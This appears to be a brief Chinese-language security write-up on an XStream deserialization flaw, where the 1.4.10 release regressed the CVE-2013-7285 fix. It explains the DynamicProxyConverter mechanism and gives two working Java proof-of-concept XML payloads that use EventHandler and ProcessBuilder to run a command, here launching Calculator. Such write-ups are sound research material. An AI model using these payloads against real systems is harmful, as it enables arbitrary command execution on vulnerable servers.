0x01 影响范围
1.4.10以及 <=1.4.6
0x02 产生原因
是xstream 1.4.10针对CVE-2013-7285的一个回滚造成的,官方对CVE-2013-7285通告及漏洞细节纰漏:https://x-stream.github.io/CVE-2013-7285.html
0x03 原理分析
XStream提供的XStream Converters功能,其中有一个DynamicProxyConverter类:
dynamic proxy本身不会被序列化,但是被实现和被InvocationHandler实例化的接口是能够序列化的。这允许在反序列化之后对接口进行重建。
意思就是在反序列化的时候可以对Interfaces进行重建,然后攻击者就可以把接口全部重建为命令执行的方法。
具体原理细节:todo
0x04 POC
和CVE-2013-7285的POC是通用的,下面为官网纰漏的一个POC:
首先随便实现一个接口:
public interface Contact {
String getFirstName(String p);
}
poc:
import com.thoughtworks.xstream.XStream;
public class XstreamTest {
public static void main(String[] args){
String xml = "<dynamic-proxy>" +
"<interface>other.xstreamtest.Contact</interface>" +
"<handler class=\"java.beans.EventHandler\">" +
" <target class=\"java.lang.ProcessBuilder\">" +
" <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>";
XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);
contact.getFirstName("a");
}
}
这个POC相对不够广泛,需要找到一个接口,并且在反序列化完成后需要调用接口中的一个成员函数才能触发。
下面为一个比较广泛的POC:
String xml = "<sorted-set>" +
"<string>foo</string>" +
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
"<handler class=\"java.beans.EventHandler\">" +
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>";
XStream xstream = new XStream();
Object o = (Object)xstream.fromXML(xml);